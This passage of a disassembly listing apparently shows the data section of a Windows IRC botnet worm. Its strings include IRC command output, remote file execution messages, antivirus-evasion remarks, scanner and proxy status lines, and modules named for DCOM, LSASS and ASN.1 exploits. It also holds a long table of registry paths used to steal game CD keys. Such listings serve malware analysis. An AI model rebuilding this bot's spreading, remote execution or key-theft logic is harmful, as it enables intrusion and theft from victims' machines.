aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004066C4o
					; seg000:0040681Ao
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: seg000:004066A2o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: seg000:00406678o
					; seg000:004067A7o
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: seg000:0040664Eo
aAm		db 'AM',0               ; DATA XREF: seg000:00406624o
		align 4
aPm		db 'PM',0               ; DATA XREF: seg000:00406618o
		align 4
a__0:					; DATA XREF: seg000:004065E1o
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: seg000:004065C6o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00406554o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004064DBo
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004064BFo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:0040648Bo
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: seg000:00406441o
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: seg000:0040640Co
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004063DFo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B01+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_427134	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C22+493o
dword_427140	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_406C22+47Fo
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 10h
unk_427190	db    2			; DATA XREF: sub_406C22+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
dword_4271CC	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C22+399o
unk_4271E0	db    2			; DATA XREF: sub_406C22+33Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_427234	db    2			; DATA XREF: sub_406C22+15Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_427284	db    2			; DATA XREF: sub_406C22+6Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_406C22+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_40776F+164o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: seg000:00404ACFo
		align 4
		dd 5 dup(0)
dword_427300	dd 87h			; DATA XREF: sub_407119+1Er
					; seg000:0040FDBEr ...
off_427304	dd offset loc_4033CB	; DATA XREF: sub_40776F+1E6r
dword_427308	dd 0			; DATA XREF: sub_402DDD+193w
					; sub_402DDD+199r ...
dword_42730C	dd 1			; DATA XREF: seg000:00407279r
dword_427310	dd 0			; DATA XREF: seg000:loc_4074CBr
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 4033CBh, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 4033CBh, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 402F84h, 0
		dd 2 dup(1), 7361736Ch,	35343473h, 736C0000h, 34737361h
		dd 3534h, 5 dup(0)
		dd 1BDh, 403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	35333173h, 736C0000h, 31737361h
		dd 3533h, 5 dup(0)
		dd 87h,	403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	39333173h, 736C0000h, 31737361h
		dd 3933h, 5 dup(0)
		dd 8Bh,	403C8Bh, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 402DDDh, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 403E3Ch, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404F08h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 736D0074h, 737361h
		dd 6 dup(0)
		dd 599h, 40514Ch, 0
		dd 2 dup(1), 6C616572h,	74736163h, 65520000h, 61636C61h
		dd 7473h, 5 dup(0)
		dd 22Ah, 4052E0h, 0
		dd 1, 0
aAsn1http	db 'asn1http',0
		align 2
aAsn1http_0	db 'asn1http',0
		align 4
		dd 5 dup(0)
		dd 50h,	404907h, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 404907h, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	404907h, 0
		dd 2 dup(1), 0
aAsn1smbnt	db 'asn1smbnt',0
byte_42766A	db 1			; DATA XREF: seg000:loc_41193Ar
					; seg000:00411944o
aMsass		db 'msass',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407119+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407119+42o
		align 4
unk_4276A4	db    2			; DATA XREF: sub_407119+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_4276DC	db    2			; DATA XREF: sub_4071E3+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_427710	db    2			; DATA XREF: sub_4071E3+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_427744	db    2			; DATA XREF: seg000:004075C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42778C	db    2			; DATA XREF: seg000:00407561o
					; seg000:00411E74o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 10h
dword_427820	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:00407454o
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_427874	db    2			; DATA XREF: seg000:004073A3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4278BC	db    2			; DATA XREF: seg000:00407335o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407636+38o
					; sub_40A155+46o
unk_42791C	db    2			; DATA XREF: sub_40776F+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_427958	db    2			; DATA XREF: sub_40776F+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_4279A8	db    2			; DATA XREF: seg000:00407B51o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_427A00	db    2			; DATA XREF: seg000:00407AF6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 10h
unk_427A50	db    2			; DATA XREF: seg000:00407A86o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_427A9C	db    2			; DATA XREF: seg000:00407A0Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_427AE8	db    2			; DATA XREF: seg000:00407D38o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 4
unk_427B38	db    2			; DATA XREF: seg000:00407CC3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_427B90	db    2			; DATA XREF: seg000:00407F14o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_427BE4	db    2			; DATA XREF: seg000:00407E4Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_427C3C	db    2			; DATA XREF: seg000:004081A0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_427C80	db    2			; DATA XREF: seg000:0040817Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_427CCC	db    2			; DATA XREF: seg000:00408102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_427D24	dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
					; DATA XREF: seg000:00408096o
					; seg000:004126B7o
		dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h,	73207265h
		dd 74726174h, 6F206465h, 25203A6Eh, 64253A73h, 2Eh, 28026502h
		dd 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h, 206C1F64h
		dd 0BB022029h, 202002BBh, 6F727245h, 46203A72h,	656C6961h
		dd 6F742064h, 6E6F6320h, 7463656Eh, 206F7420h, 67726174h
		dd 202C7465h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h
		dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
		dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h,	46203A72h
		dd 656C6961h, 6F742064h, 65706F20h, 6F73206Eh, 74656B63h
		dd 202C2928h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h
		dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
		dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h,	69746E65h
		dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
		dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
		dd 0
		dd 80000001h
off_427E5C	dd offset aSoftwareValveC ; DATA XREF: sub_4085B7+Cr
					; sub_4085B7+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427E68	dd 2 dup(0)		; DATA XREF: sub_4085B7+26o
		dd 80000001h, 428FF0h, 428FE4h,	428FD4h, 2 dup(0)
		dd 80000001h, 428FB4h, 428FB0h,	428F9Ch, 2 dup(0)
		dd 80000001h, 428F78h, 428FB0h,	428F6Ch, 2 dup(0)
		dd 80000001h, 428F48h, 428F40h,	428F2Ch, 2 dup(0)
		dd 80000001h, 428F18h, 428F08h,	428EECh, 2 dup(0)
		dd 80000001h, 428EA8h, 429030h,	428E94h, 2 dup(0)
		dd 80000002h, 428E68h, 428E5Ch,	428E3Ch, 2 dup(0)
		dd 80000002h, 428E08h, 429030h,	428DF0h, 2 dup(0)
		dd 80000002h, 428DBCh, 429030h,	428DA4h, 2 dup(0)
		dd 80000002h, 428D8Ch, 429030h,	428D74h, 2 dup(0)
		dd 80000002h, 428D38h, 438F8Ch,	428D28h, 2 dup(0)
		dd 80000002h, 428CF0h, 438F8Ch,	428CDCh, 2 dup(0)
		dd 80000002h, 428C90h, 438F8Ch,	428C70h, 2 dup(0)
		dd 80000002h, 428C20h, 438F8Ch,	428BF4h, 2 dup(0)
		dd 80000002h, 428BB8h, 438F8Ch,	428BA4h, 2 dup(0)
		dd 80000002h, 428B6Ch, 438F8Ch,	428B5Ch, 2 dup(0)
		dd 80000002h, 428B0Ch, 438F8Ch,	428AE0h, 2 dup(0)
		dd 80000002h, 428AA0h, 438F8Ch,	428A84h, 2 dup(0)
		dd 80000002h, 428A54h, 438F8Ch,	428A34h, 2 dup(0)
		dd 80000002h, 4289F8h, 438F8Ch,	4289E4h, 2 dup(0)
		dd 80000002h, 42899Ch, 438F8Ch,	42897Ch, 2 dup(0)
		dd 80000002h, 428928h, 438F8Ch,	4288F8h, 2 dup(0)
		dd 80000002h, 4288A8h, 438F8Ch,	42887Ch, 2 dup(0)
		dd 80000002h, 42883Ch, 428834h,	428814h, 2 dup(0)
		dd 80000002h, 4287D0h, 438F8Ch,	4287B4h, 2 dup(0)
		dd 80000002h, 428768h, 438F8Ch,	428744h, 2 dup(0)
		dd 80000002h, 428710h, 438F8Ch,	428704h, 2 dup(0)
		dd 80000002h, 4286D0h, 438F8Ch,	4286C4h, 2 dup(0)
		dd 80000002h, 428690h, 438F8Ch,	428684h, 2 dup(0)
		dd 80000002h, 428650h, 438F8Ch,	428644h, 2 dup(0)
		dd 80000002h, 428608h, 438F8Ch,	4285F4h, 2 dup(0)
		dd 80000002h, 4285B8h, 438F8Ch,	4285A4h, 2 dup(0)
		dd 80000002h, 428574h, 429030h,	428558h, 2 dup(0)
		dd 80000002h, 428538h, 428530h,	42850Ch, 2 dup(0)
		dd 80000002h, 4284F0h, 428530h,	4284D0h, 2 dup(0)
		dd 80000002h, 4284B0h, 428530h,	42848Ch, 2 dup(0)
		dd 80000002h, 428474h, 428530h,	428470h, 2 dup(0)
		dd 80000002h, 428454h, 428444h,	42843Ch, 2 dup(0)
		dd 80000002h, 428408h, 428404h,	4283ECh, 2 dup(0)
		dd 80000002h, 4283B0h, 4283A4h,	42837Ch, 42836Ch, 428358h
		dd 80000002h, 428334h, 428328h,	428314h, 428304h, 4282FCh
		dd 80000002h, 428334h, 428328h,	4282D0h, 428304h, 4282C8h
		dd 80000002h, 428334h, 428328h,	428298h, 428304h, 428290h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: seg002:0042DE38o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 10h
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 10h
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 10h
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 10h
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 10h
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 10h
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
